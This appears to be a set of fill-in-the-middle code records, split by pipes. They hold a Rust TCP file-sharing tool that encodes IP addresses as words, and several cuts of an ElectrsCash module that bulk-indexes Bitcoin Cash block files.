bail!(ErrorKind::IncompleteRead(name_read, name_len as usize));
}
let name = String::from_utf8(name_buff).unwrap(); //@Error: Make error
//Get the length of the file contents
let file_len = try!(stream.read_u32::<BigEndian>()); //@Expansion: u32. That's a direct limit on the size of files.
//Currently we aren't aiming at
//supporting large files, which makes
//it ok.
//We aren't getting the file contents because we don't want to store it all in memory
return Ok(FileMessage {
name_size: name_len,
name: name,
size: file_len,
file: Box::new(stream),
});
}
fn write<T: Write + 'a>(&mut self, mut stream: &mut T) -> Result<usize>{
try!(stream.write_u32::<BigEndian>(self.name_size)); //@Error: Should this be handled differently?
try!(stream.write_all(self.name.as_bytes()));
try!(stream.write_u32::<BigEndian>(self.size));
try!(std::io::copy(&mut self.file, &mut stream));
return Ok(0);
}
}
pub type Dict<'a> = Box<[&'a str]>;
pub struct TransportPresenter<'a> {
dictionary: Dict<'a>,
dict_entries: u32,
}
impl<'a> TransportPresenter<'a> {
pub fn new(dictionary: Dict<'a>, dict_entries: u32) -> Self {
return TransportPresenter {
dictionary: dictionary,
dict_entries: dict_entries,
};
}
pub fn present(&self, t: &Transport) -> Result<String> {
let parts = (t.max_state() as f64).log(self.dict_entries as f64).ceil() as u32;
let mut part_representation: Vec<&str> = Vec::with_capacity(parts as usize);
let mut remainder = t.state();
for _ in 0..parts {
let part = remainder % self.dict_entries;
remainder = remainder / self.dict_entries;
part_representation.push(self.dictionary[part as usize]);
}
return Ok(part_representation.join(" "));
}
pub fn present_inv(&self, s: String) -> Result<ClientTransport> {
let mut res: u32 = 0;
let mut part_count = 0;
for word in s.split(" ") {
if let Ok(val) = self.dictionary.binary_search_by(|p| {
//Flip the search to allow for cmp between String and &str
match word.cmp(p) {
Ordering::Greater => Ordering::Less,
Ordering::Less => Ordering::Greater,
Ordering::Equal => Ordering::Equal,
}
}) {
res += (val as u32) * (self.dict_entries.pow(part_count));
part_count += 1;
} else {
bail!(ErrorKind::InvalidTransport(word.to_owned()));
}
}
return Ok(ClientTransport::new(res));
}
}
pub struct ServerTransport {
state: u32,
max_state: u32,
}
pub struct ClientTransport {
state: u32,
}
pub trait Transport {
fn state(&self) -> u32;
fn max_state(&self) -> u32;
}
impl ServerTransport {
fn new(state: u32, max_state: u32) -> Self {
return ServerTransport {
state: state,
max_state: max_state,
};
}
}
impl Transport for ServerTransport {
fn state(&self) -> u32 {
return self.state;
}
fn max_state(&self) -> u32 {
return self.max_state;
}
}
pub trait PartialTransport {
fn state(&self) -> u32;
}
impl ClientTransport {
fn new(state: u32) -> Self {
return ClientTransport {
state: state,
};
}
}
impl PartialTransport for ClientTransport {
fn state(&self) -> u32 {
return self.state;
}
}
impl <T: Transport> PartialTransport for T {
fn state(&self) -> u32 {
return Transport::state(self);
}
}
pub trait Transportable {
fn make_transport(&self) -> Result<ServerTransport>;
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> where Self: std::marker::Sized;
}
impl Transportable for std::net::Ipv4Addr {
fn make_transport(&self) -> Result<ServerTransport> |
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> {
return Ok(std::net::Ipv4Addr::from(t.state()));
}
}
#[derive(Clone)]
pub struct FileInfo{
path: PathBuf,
len: u64,
}
impl FileInfo {
fn new(path: PathBuf, len: u64) -> FileInfo {
return FileInfo {
path: path,
len: len,
}
}
pub fn from_path(path: PathBuf) -> Result<FileInfo> {
let metadata = std::fs::metadata(&path)?;
return Ok(FileInfo::new(path, metadata.len()))
}
pub fn open(&self) -> std::result::Result<std::fs::File, std::io::Error> {
return std::fs::File::open(&self.path);
}
}
//@Refactor: This is just private but should be refactored
fn send_file<S: Write>(mut stream: &mut S, file: &FileInfo) -> Result<()> {
let filename = match file.path.file_name()
.and_then(|x| x.to_str())
.map(|x| x.to_owned()) {
Some(x) => x,
None => return Err(ErrorKind::PathConversion.into()),
};
let mut message = FileMessage::new(filename, file.len as u32, try!(file.open()));
message.write(&mut stream)
.chain_err(|| ErrorKind::Serialization)?;
return Ok(());
}
pub struct FileRepository {
files: std::collections::HashMap<u32, FileInfo>,
pub interface: network::Interface,
next_id: u32,
}
impl FileRepository {
pub fn new(interface: network::Interface) -> Self {
return FileRepository {
files: std::collections::HashMap::new(),
interface: interface,
next_id: 0,
};
}
pub fn add_file(&mut self, file: FileInfo) -> Result<ServerTransport> {
self.files.insert(self.next_id, file);
return self.interface.addr.make_transport();
}
fn get_file(&self, index: u32) -> Result<&FileInfo> {
return self.files.get(&index)
.ok_or_else(|| ErrorKind::UnknownFile(index).into());
}
pub fn run(&self) -> Result<()> {
//@Expansion: Maybe don't use fixed ports
let listener = std::net::TcpListener::bind((self.interface.addr, 2222))
.chain_err(|| ErrorKind::Bind(self.interface.addr, 2222))?;
for conn in listener.incoming() {
let mut stream = conn
.chain_err(|| ErrorKind::ServerConnection)?;
//TODO: I should read some sort of info about which file to get here
let file = self.get_file(0)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
send_file(&mut stream, file)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
}
return Ok(());
}
}
pub struct FileClient {
}
impl FileClient{
pub fn new() -> Self {
return FileClient {
}
}
pub fn get_file<T: PartialTransport>(&self, transport: T, out_path: Option<std::path::PathBuf>) -> Result<()> {
let ip = std::net::Ipv4Addr::from_transport(transport)?;
println!("{} from ip {}",
Green.paint("Downloading"),
Yellow.paint(ip.to_string()));
//@Expansion: We can't time out right now. Use the net2::TcpBuilder?
//@Expansion: Maybe don't use fixed ports
let stream = std::net::TcpStream::connect((ip, 2222))
.chain_err(|| ErrorKind::ClientConnection(ip, 2222))?;
let mut message = FileMessage::read(stream)
.chain_err(|| ErrorKind::Fetch)?;
let mut pb = ProgressBar::new(message.size as u64);
pb.set_units(Units::Bytes);
let new_path = out_path
.unwrap_or(std::path::PathBuf::from(&message.name));
if new_path.exists() {
bail!(ErrorKind::FileExists(new_path));
}
//TODO: Make some error wrapper
let mut file = std::fs::File::create(new_path)?;
let mut buffer = [0u8; 8192];
loop{
let read = message.file.read(&mut buffer)
.chain_err(|| ErrorKind::ReadContent)?;
if read == 0 {
break;
}
pb.add(read as u64);
file.write(&mut buffer[0..read])
.chain_err(|| ErrorKind::WriteContent)?;
}
return Ok(());
}
}
| {
return Ok(ServerTransport::new(u32::from(self.clone()), std::u32::MAX));
} | identifier_body |
bulk.rs | use bitcoincash::blockdata::block::Block;
use bitcoincash::consensus::encode::{deserialize, Decodable};
use bitcoincash::hash_types::BlockHash;
use std::collections::HashSet;
use std::fs;
use std::io::Cursor;
use std::path::{Path, PathBuf};
use std::sync::{
mpsc::{Receiver, SyncSender},
Arc, Mutex,
};
use std::thread;
use crate::cashaccount::CashAccountParser;
use crate::daemon::Daemon;
use crate::errors::*;
use crate::index::{index_block, last_indexed_block, read_indexed_blockhashes};
use crate::metrics::Metrics;
use crate::signal::Waiter;
use crate::store::{DbStore, Row, WriteStore};
use crate::util::{spawn_thread, HeaderList, SyncChannel};
struct Parser {
magic: u32,
current_headers: HeaderList,
indexed_blockhashes: Mutex<HashSet<BlockHash>>,
cashaccount_activation_height: u32,
// metrics
duration: prometheus::HistogramVec,
block_count: prometheus::IntCounterVec,
bytes_read: prometheus::Histogram,
}
impl Parser {
fn new(
daemon: &Daemon,
metrics: &Metrics,
indexed_blockhashes: HashSet<BlockHash>,
cashaccount_activation_height: u32,
) -> Result<Arc<Parser>> {
Ok(Arc::new(Parser {
magic: daemon.disk_magic(),
current_headers: load_headers(daemon)?,
indexed_blockhashes: Mutex::new(indexed_blockhashes),
cashaccount_activation_height,
duration: metrics.histogram_vec(
prometheus::HistogramOpts::new(
"electrscash_parse_duration",
"blk*.dat parsing duration (in seconds)",
),
&["step"],
),
block_count: metrics.counter_int_vec(
prometheus::Opts::new(
"electrscash_parse_blocks",
"# of block parsed (from blk*.dat)",
),
&["type"],
),
bytes_read: metrics.histogram(prometheus::HistogramOpts::new(
"electrscash_parse_bytes_read",
"# of bytes read (from blk*.dat)",
)),
}))
}
fn last_indexed_row(&self) -> Row {
// TODO: use JSONRPC for missing blocks, and don't use 'L' row at all.
let indexed_blockhashes = self.indexed_blockhashes.lock().unwrap();
let last_header = self
.current_headers
.iter()
.take_while(|h| indexed_blockhashes.contains(h.hash()))
.last()
.expect("no indexed header found");
debug!("last indexed block: {:?}", last_header);
last_indexed_block(last_header.hash())
}
fn read_blkfile(&self, path: &Path) -> Result<Vec<u8>> {
let timer = self.duration.with_label_values(&["read"]).start_timer();
let blob = fs::read(&path).chain_err(|| format!("failed to read {:?}", path))?;
timer.observe_duration();
self.bytes_read.observe(blob.len() as f64);
Ok(blob)
}
fn index_blkfile(&self, blob: Vec<u8>) -> Result<Vec<Row>> {
let timer = self.duration.with_label_values(&["parse"]).start_timer();
let blocks = parse_blocks(blob, self.magic)?;
timer.observe_duration();
let mut rows = Vec::<Row>::new();
let timer = self.duration.with_label_values(&["index"]).start_timer();
let cashaccount = CashAccountParser::new(Some(self.cashaccount_activation_height));
for block in blocks {
let blockhash = block.block_hash();
if let Some(header) = self.current_headers.header_by_blockhash(&blockhash) {
if self
.indexed_blockhashes
.lock()
.expect("indexed_blockhashes")
.insert(blockhash)
{
rows.extend(index_block(&block, header.height(), &cashaccount));
self.block_count.with_label_values(&["indexed"]).inc();
} else {
self.block_count.with_label_values(&["duplicate"]).inc();
}
} else {
// will be indexed later (after bulk load is over) if not an orphan block
self.block_count.with_label_values(&["skipped"]).inc();
}
}
timer.observe_duration();
let timer = self.duration.with_label_values(&["sort"]).start_timer();
rows.sort_unstable_by(|a, b| a.key.cmp(&b.key));
timer.observe_duration();
Ok(rows)
}
}
fn | (blob: Vec<u8>, magic: u32) -> Result<Vec<Block>> {
let mut cursor = Cursor::new(&blob);
let mut blocks = vec![];
let max_pos = blob.len() as u64;
while cursor.position() < max_pos {
let offset = cursor.position();
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic != value {
cursor.set_position(offset + 1);
continue;
}
}
Err(_) => break, // EOF
};
let block_size = u32::consensus_decode(&mut cursor).chain_err(|| "no block size")?;
let start = cursor.position();
let end = start + block_size as u64;
// If Core's WriteBlockToDisk ftell fails, only the magic bytes and size will be written
// and the block body won't be written to the blk*.dat file.
// Since the first 4 bytes should contain the block's version, we can skip such blocks
// by peeking the cursor (and skipping previous `magic` and `block_size`).
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic == value {
cursor.set_position(start);
continue;
}
}
Err(_) => break, // EOF
}
let block: Block = deserialize(&blob[start as usize..end as usize])
.chain_err(|| format!("failed to parse block at {}..{}", start, end))?;
blocks.push(block);
cursor.set_position(end as u64);
}
Ok(blocks)
}
fn load_headers(daemon: &Daemon) -> Result<HeaderList> {
let tip = daemon.getbestblockhash()?;
let mut headers = HeaderList::empty();
let new_headers = headers.order(daemon.get_new_headers(&headers, &tip)?);
headers.apply(&new_headers, tip);
Ok(headers)
}
fn set_open_files_limit(limit: libc::rlim_t) {
let resource = libc::RLIMIT_NOFILE;
let mut rlim = libc::rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { libc::getrlimit(resource, &mut rlim) };
if result < 0 {
panic!("getrlimit() failed: {}", result);
}
rlim.rlim_cur = limit; // set softs limit only.
let result = unsafe { libc::setrlimit(resource, &rlim) };
if result < 0 {
panic!("setrlimit() failed: {}", result);
}
}
type JoinHandle = thread::JoinHandle<Result<()>>;
type BlobReceiver = Arc<Mutex<Receiver<(Vec<u8>, PathBuf)>>>;
fn start_reader(blk_files: Vec<PathBuf>, parser: Arc<Parser>) -> (BlobReceiver, JoinHandle) {
let chan = SyncChannel::new(0);
let blobs = chan.sender();
let handle = spawn_thread("bulk_read", move || -> Result<()> {
for path in blk_files {
blobs
.send((parser.read_blkfile(&path)?, path))
.expect("failed to send blk*.dat contents");
}
Ok(())
});
(Arc::new(Mutex::new(chan.into_receiver())), handle)
}
fn start_indexer(
blobs: BlobReceiver,
parser: Arc<Parser>,
writer: SyncSender<(Vec<Row>, PathBuf)>,
) -> JoinHandle {
spawn_thread("bulk_index", move || -> Result<()> {
loop {
let msg = blobs.lock().unwrap().recv();
if let Ok((blob, path)) = msg {
let rows = parser
.index_blkfile(blob)
.chain_err(|| format!("failed to index {:?}", path))?;
writer
.send((rows, path))
.expect("failed to send indexed rows")
} else {
debug!("no more blocks to index");
break;
}
}
Ok(())
})
}
pub fn index_blk_files(
daemon: &Daemon,
index_threads: usize,
metrics: &Metrics,
signal: &Waiter,
store: DbStore,
cashaccount_activation_height: u32,
) -> Result<DbStore> {
set_open_files_limit(2048); // twice the default `ulimit -n` value
let blk_files = daemon.list_blk_files()?;
info!("indexing {} blk*.dat files", blk_files.len());
let indexed_blockhashes = read_indexed_blockhashes(&store);
debug!("found {} indexed blocks", indexed_blockhashes.len());
let parser = Parser::new(
daemon,
metrics,
indexed_blockhashes,
cashaccount_activation_height,
)?;
let (blobs, reader) = start_reader(blk_files, parser.clone());
let rows_chan = SyncChannel::new(0);
#[allow(clippy::needless_collect)]
let indexers: Vec<JoinHandle> = (0..index_threads)
.map(|_| start_indexer(blobs.clone(), parser.clone(), rows_chan.sender()))
.collect();
for (rows, path) in rows_chan.into_receiver() {
trace!("indexed {:?}: {} rows", path, rows.len());
store.write(rows, false);
signal
.poll()
.chain_err(|| "stopping bulk indexing due to signal")?;
}
reader
.join()
.expect("reader panicked")
.expect("reader failed");
indexers.into_iter().for_each(|i| {
i.join()
.expect("indexer panicked")
.expect("indexing failed")
});
store.write(vec![parser.last_indexed_row()], true);
Ok(store)
}
#[cfg(test)]
mod tests {
use super::*;
use bitcoincash::hashes::Hash;
use hex::decode as hex_decode;
#[test]
fn test_incomplete_block_parsing() {
let magic = 0x0709110b;
let raw_blocks = hex_decode(fixture("incomplete_block.hex")).unwrap();
let blocks = parse_blocks(raw_blocks, magic).unwrap();
assert_eq!(blocks.len(), 2);
assert_eq!(
blocks[1].block_hash().into_inner().to_vec(),
hex_decode("d55acd552414cc44a761e8d6b64a4d555975e208397281d115336fc500000000").unwrap()
);
}
pub fn fixture(filename: &str) -> String {
let path = Path::new("src")
.join("tests")
.join("fixtures")
.join(filename);
fs::read_to_string(path).unwrap()
}
}
| parse_blocks | identifier_name |
bulk.rs | use bitcoincash::blockdata::block::Block;
use bitcoincash::consensus::encode::{deserialize, Decodable};
use bitcoincash::hash_types::BlockHash;
use std::collections::HashSet;
use std::fs;
use std::io::Cursor;
use std::path::{Path, PathBuf};
use std::sync::{
mpsc::{Receiver, SyncSender},
Arc, Mutex,
};
use std::thread;
use crate::cashaccount::CashAccountParser;
use crate::daemon::Daemon;
use crate::errors::*;
use crate::index::{index_block, last_indexed_block, read_indexed_blockhashes};
use crate::metrics::Metrics;
use crate::signal::Waiter;
use crate::store::{DbStore, Row, WriteStore};
use crate::util::{spawn_thread, HeaderList, SyncChannel};
struct Parser {
magic: u32,
current_headers: HeaderList,
indexed_blockhashes: Mutex<HashSet<BlockHash>>,
cashaccount_activation_height: u32,
// metrics
duration: prometheus::HistogramVec,
block_count: prometheus::IntCounterVec,
bytes_read: prometheus::Histogram,
}
impl Parser {
fn new(
daemon: &Daemon,
metrics: &Metrics,
indexed_blockhashes: HashSet<BlockHash>,
cashaccount_activation_height: u32,
) -> Result<Arc<Parser>> {
Ok(Arc::new(Parser {
magic: daemon.disk_magic(),
current_headers: load_headers(daemon)?,
indexed_blockhashes: Mutex::new(indexed_blockhashes),
cashaccount_activation_height,
duration: metrics.histogram_vec(
prometheus::HistogramOpts::new(
"electrscash_parse_duration",
"blk*.dat parsing duration (in seconds)",
),
&["step"],
),
block_count: metrics.counter_int_vec(
prometheus::Opts::new(
"electrscash_parse_blocks",
"# of block parsed (from blk*.dat)",
),
&["type"],
),
bytes_read: metrics.histogram(prometheus::HistogramOpts::new(
"electrscash_parse_bytes_read",
"# of bytes read (from blk*.dat)",
)),
}))
}
fn last_indexed_row(&self) -> Row {
// TODO: use JSONRPC for missing blocks, and don't use 'L' row at all.
let indexed_blockhashes = self.indexed_blockhashes.lock().unwrap();
let last_header = self
.current_headers
.iter()
.take_while(|h| indexed_blockhashes.contains(h.hash()))
.last()
.expect("no indexed header found");
debug!("last indexed block: {:?}", last_header);
last_indexed_block(last_header.hash())
}
fn read_blkfile(&self, path: &Path) -> Result<Vec<u8>> {
let timer = self.duration.with_label_values(&["read"]).start_timer();
let blob = fs::read(&path).chain_err(|| format!("failed to read {:?}", path))?;
timer.observe_duration();
self.bytes_read.observe(blob.len() as f64);
Ok(blob)
}
fn index_blkfile(&self, blob: Vec<u8>) -> Result<Vec<Row>> {
let timer = self.duration.with_label_values(&["parse"]).start_timer();
let blocks = parse_blocks(blob, self.magic)?;
timer.observe_duration();
let mut rows = Vec::<Row>::new();
let timer = self.duration.with_label_values(&["index"]).start_timer();
let cashaccount = CashAccountParser::new(Some(self.cashaccount_activation_height));
for block in blocks {
let blockhash = block.block_hash();
if let Some(header) = self.current_headers.header_by_blockhash(&blockhash) {
if self
.indexed_blockhashes
.lock()
.expect("indexed_blockhashes")
.insert(blockhash)
{
rows.extend(index_block(&block, header.height(), &cashaccount));
self.block_count.with_label_values(&["indexed"]).inc();
} else {
self.block_count.with_label_values(&["duplicate"]).inc();
}
} else {
// will be indexed later (after bulk load is over) if not an orphan block
self.block_count.with_label_values(&["skipped"]).inc();
}
}
timer.observe_duration();
let timer = self.duration.with_label_values(&["sort"]).start_timer();
rows.sort_unstable_by(|a, b| a.key.cmp(&b.key));
timer.observe_duration();
Ok(rows)
}
}
fn parse_blocks(blob: Vec<u8>, magic: u32) -> Result<Vec<Block>> {
let mut cursor = Cursor::new(&blob);
let mut blocks = vec![];
let max_pos = blob.len() as u64;
while cursor.position() < max_pos {
let offset = cursor.position();
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic != value {
cursor.set_position(offset + 1);
continue;
}
}
Err(_) => break, // EOF
};
let block_size = u32::consensus_decode(&mut cursor).chain_err(|| "no block size")?;
let start = cursor.position();
let end = start + block_size as u64;
// If Core's WriteBlockToDisk ftell fails, only the magic bytes and size will be written
// and the block body won't be written to the blk*.dat file.
// Since the first 4 bytes should contain the block's version, we can skip such blocks
// by peeking the cursor (and skipping previous `magic` and `block_size`).
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic == value {
cursor.set_position(start);
continue;
}
}
Err(_) => break, // EOF
}
let block: Block = deserialize(&blob[start as usize..end as usize])
.chain_err(|| format!("failed to parse block at {}..{}", start, end))?;
blocks.push(block);
cursor.set_position(end as u64);
}
Ok(blocks)
}
fn load_headers(daemon: &Daemon) -> Result<HeaderList> {
let tip = daemon.getbestblockhash()?;
let mut headers = HeaderList::empty();
let new_headers = headers.order(daemon.get_new_headers(&headers, &tip)?);
headers.apply(&new_headers, tip);
Ok(headers)
}
fn set_open_files_limit(limit: libc::rlim_t) {
let resource = libc::RLIMIT_NOFILE;
let mut rlim = libc::rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { libc::getrlimit(resource, &mut rlim) };
if result < 0 {
panic!("getrlimit() failed: {}", result);
}
rlim.rlim_cur = limit; // set softs limit only.
let result = unsafe { libc::setrlimit(resource, &rlim) };
if result < 0 {
panic!("setrlimit() failed: {}", result);
}
}
| let chan = SyncChannel::new(0);
let blobs = chan.sender();
let handle = spawn_thread("bulk_read", move || -> Result<()> {
for path in blk_files {
blobs
.send((parser.read_blkfile(&path)?, path))
.expect("failed to send blk*.dat contents");
}
Ok(())
});
(Arc::new(Mutex::new(chan.into_receiver())), handle)
}
fn start_indexer(
blobs: BlobReceiver,
parser: Arc<Parser>,
writer: SyncSender<(Vec<Row>, PathBuf)>,
) -> JoinHandle {
spawn_thread("bulk_index", move || -> Result<()> {
loop {
let msg = blobs.lock().unwrap().recv();
if let Ok((blob, path)) = msg {
let rows = parser
.index_blkfile(blob)
.chain_err(|| format!("failed to index {:?}", path))?;
writer
.send((rows, path))
.expect("failed to send indexed rows")
} else {
debug!("no more blocks to index");
break;
}
}
Ok(())
})
}
pub fn index_blk_files(
daemon: &Daemon,
index_threads: usize,
metrics: &Metrics,
signal: &Waiter,
store: DbStore,
cashaccount_activation_height: u32,
) -> Result<DbStore> {
set_open_files_limit(2048); // twice the default `ulimit -n` value
let blk_files = daemon.list_blk_files()?;
info!("indexing {} blk*.dat files", blk_files.len());
let indexed_blockhashes = read_indexed_blockhashes(&store);
debug!("found {} indexed blocks", indexed_blockhashes.len());
let parser = Parser::new(
daemon,
metrics,
indexed_blockhashes,
cashaccount_activation_height,
)?;
let (blobs, reader) = start_reader(blk_files, parser.clone());
let rows_chan = SyncChannel::new(0);
#[allow(clippy::needless_collect)]
let indexers: Vec<JoinHandle> = (0..index_threads)
.map(|_| start_indexer(blobs.clone(), parser.clone(), rows_chan.sender()))
.collect();
for (rows, path) in rows_chan.into_receiver() {
trace!("indexed {:?}: {} rows", path, rows.len());
store.write(rows, false);
signal
.poll()
.chain_err(|| "stopping bulk indexing due to signal")?;
}
reader
.join()
.expect("reader panicked")
.expect("reader failed");
indexers.into_iter().for_each(|i| {
i.join()
.expect("indexer panicked")
.expect("indexing failed")
});
store.write(vec![parser.last_indexed_row()], true);
Ok(store)
}
#[cfg(test)]
mod tests {
use super::*;
use bitcoincash::hashes::Hash;
use hex::decode as hex_decode;
#[test]
fn test_incomplete_block_parsing() {
let magic = 0x0709110b;
let raw_blocks = hex_decode(fixture("incomplete_block.hex")).unwrap();
let blocks = parse_blocks(raw_blocks, magic).unwrap();
assert_eq!(blocks.len(), 2);
assert_eq!(
blocks[1].block_hash().into_inner().to_vec(),
hex_decode("d55acd552414cc44a761e8d6b64a4d555975e208397281d115336fc500000000").unwrap()
);
}
pub fn fixture(filename: &str) -> String {
let path = Path::new("src")
.join("tests")
.join("fixtures")
.join(filename);
fs::read_to_string(path).unwrap()
}
} | type JoinHandle = thread::JoinHandle<Result<()>>;
type BlobReceiver = Arc<Mutex<Receiver<(Vec<u8>, PathBuf)>>>;
fn start_reader(blk_files: Vec<PathBuf>, parser: Arc<Parser>) -> (BlobReceiver, JoinHandle) { | random_line_split |
bulk.rs | use bitcoincash::blockdata::block::Block;
use bitcoincash::consensus::encode::{deserialize, Decodable};
use bitcoincash::hash_types::BlockHash;
use std::collections::HashSet;
use std::fs;
use std::io::Cursor;
use std::path::{Path, PathBuf};
use std::sync::{
mpsc::{Receiver, SyncSender},
Arc, Mutex,
};
use std::thread;
use crate::cashaccount::CashAccountParser;
use crate::daemon::Daemon;
use crate::errors::*;
use crate::index::{index_block, last_indexed_block, read_indexed_blockhashes};
use crate::metrics::Metrics;
use crate::signal::Waiter;
use crate::store::{DbStore, Row, WriteStore};
use crate::util::{spawn_thread, HeaderList, SyncChannel};
struct Parser {
magic: u32,
current_headers: HeaderList,
indexed_blockhashes: Mutex<HashSet<BlockHash>>,
cashaccount_activation_height: u32,
// metrics
duration: prometheus::HistogramVec,
block_count: prometheus::IntCounterVec,
bytes_read: prometheus::Histogram,
}
impl Parser {
fn new(
daemon: &Daemon,
metrics: &Metrics,
indexed_blockhashes: HashSet<BlockHash>,
cashaccount_activation_height: u32,
) -> Result<Arc<Parser>> |
fn last_indexed_row(&self) -> Row {
// TODO: use JSONRPC for missing blocks, and don't use 'L' row at all.
let indexed_blockhashes = self.indexed_blockhashes.lock().unwrap();
let last_header = self
.current_headers
.iter()
.take_while(|h| indexed_blockhashes.contains(h.hash()))
.last()
.expect("no indexed header found");
debug!("last indexed block: {:?}", last_header);
last_indexed_block(last_header.hash())
}
fn read_blkfile(&self, path: &Path) -> Result<Vec<u8>> {
let timer = self.duration.with_label_values(&["read"]).start_timer();
let blob = fs::read(&path).chain_err(|| format!("failed to read {:?}", path))?;
timer.observe_duration();
self.bytes_read.observe(blob.len() as f64);
Ok(blob)
}
fn index_blkfile(&self, blob: Vec<u8>) -> Result<Vec<Row>> {
let timer = self.duration.with_label_values(&["parse"]).start_timer();
let blocks = parse_blocks(blob, self.magic)?;
timer.observe_duration();
let mut rows = Vec::<Row>::new();
let timer = self.duration.with_label_values(&["index"]).start_timer();
let cashaccount = CashAccountParser::new(Some(self.cashaccount_activation_height));
for block in blocks {
let blockhash = block.block_hash();
if let Some(header) = self.current_headers.header_by_blockhash(&blockhash) {
if self
.indexed_blockhashes
.lock()
.expect("indexed_blockhashes")
.insert(blockhash)
{
rows.extend(index_block(&block, header.height(), &cashaccount));
self.block_count.with_label_values(&["indexed"]).inc();
} else {
self.block_count.with_label_values(&["duplicate"]).inc();
}
} else {
// will be indexed later (after bulk load is over) if not an orphan block
self.block_count.with_label_values(&["skipped"]).inc();
}
}
timer.observe_duration();
let timer = self.duration.with_label_values(&["sort"]).start_timer();
rows.sort_unstable_by(|a, b| a.key.cmp(&b.key));
timer.observe_duration();
Ok(rows)
}
}
fn parse_blocks(blob: Vec<u8>, magic: u32) -> Result<Vec<Block>> {
let mut cursor = Cursor::new(&blob);
let mut blocks = vec![];
let max_pos = blob.len() as u64;
while cursor.position() < max_pos {
let offset = cursor.position();
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic != value {
cursor.set_position(offset + 1);
continue;
}
}
Err(_) => break, // EOF
};
let block_size = u32::consensus_decode(&mut cursor).chain_err(|| "no block size")?;
let start = cursor.position();
let end = start + block_size as u64;
// If Core's WriteBlockToDisk ftell fails, only the magic bytes and size will be written
// and the block body won't be written to the blk*.dat file.
// Since the first 4 bytes should contain the block's version, we can skip such blocks
// by peeking the cursor (and skipping previous `magic` and `block_size`).
match u32::consensus_decode(&mut cursor) {
Ok(value) => {
if magic == value {
cursor.set_position(start);
continue;
}
}
Err(_) => break, // EOF
}
let block: Block = deserialize(&blob[start as usize..end as usize])
.chain_err(|| format!("failed to parse block at {}..{}", start, end))?;
blocks.push(block);
cursor.set_position(end as u64);
}
Ok(blocks)
}
fn load_headers(daemon: &Daemon) -> Result<HeaderList> {
let tip = daemon.getbestblockhash()?;
let mut headers = HeaderList::empty();
let new_headers = headers.order(daemon.get_new_headers(&headers, &tip)?);
headers.apply(&new_headers, tip);
Ok(headers)
}
fn set_open_files_limit(limit: libc::rlim_t) {
let resource = libc::RLIMIT_NOFILE;
let mut rlim = libc::rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { libc::getrlimit(resource, &mut rlim) };
if result < 0 {
panic!("getrlimit() failed: {}", result);
}
rlim.rlim_cur = limit; // set softs limit only.
let result = unsafe { libc::setrlimit(resource, &rlim) };
if result < 0 {
panic!("setrlimit() failed: {}", result);
}
}
type JoinHandle = thread::JoinHandle<Result<()>>;
type BlobReceiver = Arc<Mutex<Receiver<(Vec<u8>, PathBuf)>>>;
fn start_reader(blk_files: Vec<PathBuf>, parser: Arc<Parser>) -> (BlobReceiver, JoinHandle) {
let chan = SyncChannel::new(0);
let blobs = chan.sender();
let handle = spawn_thread("bulk_read", move || -> Result<()> {
for path in blk_files {
blobs
.send((parser.read_blkfile(&path)?, path))
.expect("failed to send blk*.dat contents");
}
Ok(())
});
(Arc::new(Mutex::new(chan.into_receiver())), handle)
}
fn start_indexer(
blobs: BlobReceiver,
parser: Arc<Parser>,
writer: SyncSender<(Vec<Row>, PathBuf)>,
) -> JoinHandle {
spawn_thread("bulk_index", move || -> Result<()> {
loop {
let msg = blobs.lock().unwrap().recv();
if let Ok((blob, path)) = msg {
let rows = parser
.index_blkfile(blob)
.chain_err(|| format!("failed to index {:?}", path))?;
writer
.send((rows, path))
.expect("failed to send indexed rows")
} else {
debug!("no more blocks to index");
break;
}
}
Ok(())
})
}
pub fn index_blk_files(
daemon: &Daemon,
index_threads: usize,
metrics: &Metrics,
signal: &Waiter,
store: DbStore,
cashaccount_activation_height: u32,
) -> Result<DbStore> {
set_open_files_limit(2048); // twice the default `ulimit -n` value
let blk_files = daemon.list_blk_files()?;
info!("indexing {} blk*.dat files", blk_files.len());
let indexed_blockhashes = read_indexed_blockhashes(&store);
debug!("found {} indexed blocks", indexed_blockhashes.len());
let parser = Parser::new(
daemon,
metrics,
indexed_blockhashes,
cashaccount_activation_height,
)?;
let (blobs, reader) = start_reader(blk_files, parser.clone());
let rows_chan = SyncChannel::new(0);
#[allow(clippy::needless_collect)]
let indexers: Vec<JoinHandle> = (0..index_threads)
.map(|_| start_indexer(blobs.clone(), parser.clone(), rows_chan.sender()))
.collect();
for (rows, path) in rows_chan.into_receiver() {
trace!("indexed {:?}: {} rows", path, rows.len());
store.write(rows, false);
signal
.poll()
.chain_err(|| "stopping bulk indexing due to signal")?;
}
reader
.join()
.expect("reader panicked")
.expect("reader failed");
indexers.into_iter().for_each(|i| {
i.join()
.expect("indexer panicked")
.expect("indexing failed")
});
store.write(vec![parser.last_indexed_row()], true);
Ok(store)
}
#[cfg(test)]
mod tests {
use super::*;
use bitcoincash::hashes::Hash;
use hex::decode as hex_decode;
#[test]
fn test_incomplete_block_parsing() {
let magic = 0x0709110b;
let raw_blocks = hex_decode(fixture("incomplete_block.hex")).unwrap();
let blocks = parse_blocks(raw_blocks, magic).unwrap();
assert_eq!(blocks.len(), 2);
assert_eq!(
blocks[1].block_hash().into_inner().to_vec(),
hex_decode("d55acd552414cc44a761e8d6b64a4d555975e208397281d115336fc500000000").unwrap()
);
}
pub fn fixture(filename: &str) -> String {
let path = Path::new("src")
.join("tests")
.join("fixtures")
.join(filename);
fs::read_to_string(path).unwrap()
}
}
| {
Ok(Arc::new(Parser {
magic: daemon.disk_magic(),
current_headers: load_headers(daemon)?,
indexed_blockhashes: Mutex::new(indexed_blockhashes),
cashaccount_activation_height,
duration: metrics.histogram_vec(
prometheus::HistogramOpts::new(
"electrscash_parse_duration",
"blk*.dat parsing duration (in seconds)",
),
&["step"],
),
block_count: metrics.counter_int_vec(
prometheus::Opts::new(
